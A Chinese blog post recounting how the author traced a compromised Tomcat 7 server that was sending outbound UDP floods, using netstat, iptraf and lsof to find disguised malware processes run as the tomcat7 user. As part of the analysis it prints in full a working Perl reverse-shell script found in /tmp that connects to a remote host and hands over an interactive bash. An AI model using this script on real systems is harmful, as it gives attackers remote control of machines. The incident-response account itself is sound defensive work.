标签:http java color 使用 strong os
就在今天,我也遇到了传说中的服务器挂马事件,折腾了近一天最终解决了,遗憾的是未能抓到攻击途径。叙述一下这件事情的经过。
早上收到了一封来自于阿里云的邮件
尊敬的用户: 经检测您的云服务器(擦掉ip)存在恶意扫描,请您务必在12小时内处理,逾期未处理将禁止您服务器22、380、443、1314、3306、3433、3389、8080端口对外发包,并关停云服务器。关停后仅有一次机会自助解封,请您务必重视。感谢您的配合。 请您尽快执行以下操作 1、病毒木马清理 请您使用杀毒软件进行病毒查杀,清理系统盘以及数据盘的木马或异常程序 2、开启云盾服务并实施安全防御方案 请您尽快开启云盾服务,开启步骤详见:http://help.aliyun.com/view/11108300_13444169.html 建议您实施安全防御方案,参考:http://help.aliyun.com/manual?spm=0.0.0.0.5TfSs4&helpId=2078
大致扫了一下,用了ps aux
, netstat -anltp
, htop
这些命令看了一下,并未发现什么异常。于是给阿里云提ticket,问他们从哪些记录判断我的服务器有恶意扫描操作的。
他们给了一个日志,日志的记录大致是这样的:
222.216.190.83:80 222.216.190.83:80 222.216.190.83:80 ......
发现有大量的向这个ip的80端口请求的记录。于是我上云盾看了下,发现服务器确实间歇性的高流量,而且是流出流量,很规律的波浪线,波峰都在3M左右,基本达到了服务器的带宽,感觉确实有问题了,静下心来再查。搞了将近一下午的时间,最终终于发现问题了。
找问题的曲折就不谈了(其实是没有处理这种问题的经验,瞎折腾,瞎忙活了半天,各种google,各种ls,各种ps,各种….),只写出最终发现问题的经过。
既然是流量出现异常,那么就检查流量把,于是nload
, iftop
这两条命令是最早用的,轮流上,但是发现流量一直很低,都准备放弃的时候,突然发现iftop显示TX的速率达到了2M,看来确实有问题!
事不宜迟,立刻netstat -anltp
,无异常~
甚至连个80端口的tcp请求都没有(这里就是我一直被误导的地方了,下意识以为80端口是在请求http,应该是tcp协议,时间浪费在这里了。)但是神器iptraf
让我发现了这个问题。
iptraf看一下流量监控,我的注意力其实一直集中在上面的tcp请求,下面的udp各种红字自然被忽略了。一直盯着上面的tcp在看,除了自己的ssh流量排第一之外,别的都没啥流量,没有异常,iftop依然显示当前的TX达到了2M。
这时候猛然注意力集中在了下面,因为下面不停的红色跳动数字引起的我的注意,原因找到了!我发现不停的有udp请求在跳,而且其中就有80端口和3137端口,就这两个端口的数据一直在跳,原来如此!就说怎么查不到,原来是udp在请求80端口!
既然是udp,于是netstat -anup
,还好udp不多,一眼发现了问题!
netstat -anup 激活Internet连接 (服务器和已建立连接的) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 10.160.28.187:123 0.0.0.0:* 1759/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 1759/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 1759/ntpd udp 0 229632 0.0.0.0:57606 0.0.0.0:* 22607/ udp 0 0 0.0.0.0:47508 0.0.0.0:* 26384/java udp6 0 0 :::123 :::* 1759/ntpd
一个没有Program name的进程赫然出现了,可疑的不能再可疑了!话不多说,立马ps aux | grep 22607
ps aux | grep 22607 root 16315 0.0 0.0 9816 928 pts/3 S+ 18:41 0:00 grep --color=auto 22607 tomcat7 22607 0.1 0.0 349372 888 ? Ssl Jul16 3:29 [.ECC6DFE919A382] pwdx 22607 22607: /var/lib/tomcat7
这样一来明了了,这个非常可疑的进程已经浮现了。一看用户名,tomcat7,以为是tomcat下部署的网站被挂马了,立马service tomcat7 stop。不起作用,进程还在,愣了一下,猛然想起来这个应该是以tomcat7用户身份运行的程序,而不是tomcat服务启动的进程。
kill 22067
, iptraf消停了,udp的红字不再一直蹦个不停了。
但是这是一个不完美的解决过程。首先不明白 [.ECC6DFE919A382]这个到底是什么,怎样产生的,代表什么意思,为什么是中括号标注的进程,而不是一般看到的具体的进程名。
其次,最遗憾的是不知道挂马者的挂马途径,不知道这个进程到底是什么,到底做了什么事情。遗憾啊
又发现了好玩的东西,这个tomcat7用户居然还启动了其他可疑的[]进程
ps aux | grep tomcat tomcat7 20092 0.0 0.0 349264 612 ? Ssl 05:48 0:20 [freeBSD]
后记2: 昨天杀掉的进程,今天再次出现了
# ps aux | grep tomcat tomcat7 16503 1.0 40.5 1552124 624712 ? Sl Jul17 8:57 /usr/lib/jvm/java-7-openjdk-amd64/bin/java -Djava.util.logging.config.file=/var/lib/tomcat7/conf/logging.properties -Djava.awt.headless=true -Xmx128m -XX:+UseConcMarkSweepGC -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms256m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=128m -XX:NewRatio=1 -Djava.endorsed.dirs=/usr/share/tomcat7/endorsed -classpath /usr/share/tomcat7/bin/bootstrap.jar:/usr/share/tomcat7/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat7 -Dcatalina.home=/usr/share/tomcat7 -Djava.io.tmpdir=/tmp/tomcat7-tomcat7-tmp org.apache.catalina.startup.Bootstrap start tomcat7 20735 0.0 0.1 2684 2388 ? S 07:55 0:00 /tmp/freeBSD /tmp/freeBSD 1 tomcat7 20739 0.0 0.0 349264 716 ? Ssl 07:55 0:02 [.ECC6DFE919A382] root 24576 0.0 0.0 9816 928 pts/2 S+ 09:12 0:00 grep --color=auto tomcat
而/tmp下是没有freeBSD这个程序的,应该是启动后被删掉了。
ll /tmp 总用量 1240 drwxrwxrwt 8 root root 4096 7月 18 09:17 ./ drwxr-xr-x 23 root root 4096 7月 10 17:28 ../ -rw-r--r-- 1 tomcat7 tomcat7 4 7月 12 01:36 12.txt -rwxr-xr-x 1 tomcat7 tomcat7 1128784 7月 18 07:55 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0* drwxr-xr-x 2 tomcat7 tomcat7 4096 7月 17 18:43 hsperfdata_tomcat7/ drwxr-xr-x 2 tomcat7 root 4096 7月 17 18:44 tomcat7-tomcat7-tmp/ -rw-r--r-- 1 tomcat7 tomcat7 657 7月 6 05:41 zerl
tomcat7用户创建了一堆可疑的玩意,其中zerl是一个perl脚本
#!/usr/bin/perl -w use strict; use Socket; use IO::Handle; if($#ARGV+1 != 2){ print "$#ARGV $0 Remote_IP Remote_Port \n"; exit 1; } my $remote_ip = $ARGV[0]; my $remote_port = $ARGV[1]; my $proto = getprotobyname("tcp"); my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); my $shell = ‘/bin/bash -i‘; socket(SOCK, AF_INET, SOCK_STREAM, $proto); STDOUT->autoflush(1); SOCK->autoflush(1); connect(SOCK,$pack_addr) or die "can not connect:$!"; open STDIN, "<&SOCK"; open STDOUT, ">&SOCK"; open STDERR, ">&SOCK"; print "Enjoy the shell.\n"; system($shell); close SOCK; exit 0;
```bash ll hsperfdata_tomcat7/ 总用量 40 drwxr-xr-x 2 tomcat7 tomcat7 4096 7月 17 18:43 ./ drwxrwxrwt 8 root root 4096 7月 18 09:17 ../ -rw------- 1 tomcat7 tomcat7 32768 7月 18 09:21 16503 cat 12.txt 1233
凌乱了,完全不知道从哪里出了问题,这个程序到底在做什么?
此时想到/tmp/freeBSD,这个文件肯定有玄机,但是被删了,尝试lsof找回。
# lsof -p 20735 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME freeBSD 20735 tomcat7 cwd DIR 202,1 4096 664470 /var/lib/tomcat7 freeBSD 20735 tomcat7 rtd DIR 202,1 4096 2 / freeBSD 20735 tomcat7 txt REG 202,1 1128784 1048681 /tmp/freeBSD (deleted) freeBSD 20735 tomcat7 0r CHR 1,3 0t0 4848 /dev/null freeBSD 20735 tomcat7 1w CHR 1,3 0t0 4848 /dev/null freeBSD 20735 tomcat7 2w CHR 1,3 0t0 4848 /dev/null ll /proc/20735/fd 总用量 0 dr-x------ 2 tomcat7 tomcat7 0 7月 18 07:56 ./ dr-xr-xr-x 8 tomcat7 tomcat7 0 7月 18 07:55 ../ lr-x------ 1 tomcat7 tomcat7 64 7月 18 07:56 0 -> /dev/null l-wx------ 1 tomcat7 tomcat7 64 7月 18 07:56 1 -> /dev/null l-wx------ 1 tomcat7 tomcat7 64 7月 18 07:56 2 -> /dev/null
日了,根本没有文件描述符占用,这挂马者是有多高端啊,根本不给留机会啊
这个就是那个现形的木马文件:
# lsof -p 20739 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME .ECC6DFE9 20739 tomcat7 cwd DIR 202,1 4096 664470 /var/lib/tomcat7 .ECC6DFE9 20739 tomcat7 rtd DIR 202,1 4096 2 / .ECC6DFE9 20739 tomcat7 txt REG 202,1 1415201 1048671 /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0 (deleted) .ECC6DFE9 20739 tomcat7 mem REG 202,1 3337488 1185502 /usr/lib/locale/locale-archive .ECC6DFE9 20739 tomcat7 0u CHR 1,3 0t0 4848 /dev/null .ECC6DFE9 20739 tomcat7 1u CHR 1,3 0t0 4848 /dev/null .ECC6DFE9 20739 tomcat7 2u CHR 1,3 0t0 4848 /dev/null .ECC6DFE9 20739 tomcat7 3u IPv4 10636902 0t0 TCP xxxxxxxxxxxx:58719->119.1.109.43:10991 (ESTABLISHED) # file .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped root@dunham:/tmp# du -sh .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 1.1M .ECC6DFE919A382BADRR1A8CDFC9FB43AA0
119.1.109.43这个ip指向了贵州的ip,不确定是不是挂马者。这个可疑进程一直在发起udp数据,连接几个固定ip的8888端口,不知道发送什么东西。
一次tomcat服务器被挂马的解决经历,布布扣,bubuko.com
标签:http java color 使用 strong os
原文地址:http://my.oschina.net/abcfy2/blog/292159